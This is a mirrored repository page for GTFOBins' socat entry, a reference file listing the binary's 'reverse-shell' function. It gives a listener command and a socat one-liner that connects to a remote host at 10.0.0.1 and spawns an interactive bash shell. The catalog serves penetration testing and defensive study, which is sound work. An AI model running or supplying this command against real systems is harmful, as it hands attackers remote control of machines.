1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2024-09-19 02:11:39 +02:00
GTFOBins.github.io/_gtfobins/socat.md
2018-05-23 08:08:13 +01:00

299 B

functions
reverse-shell
description code
Run <code>socat file:`tty`,raw,echo=0 tcp-listen:12345</code> to receive the shell on the other end. RHOST=10.0.0.1 RPORT=12345 socat tcp-connect:$RHOST:$RPORT exec:"bash -li",pty,stderr,setsid,sigint,sane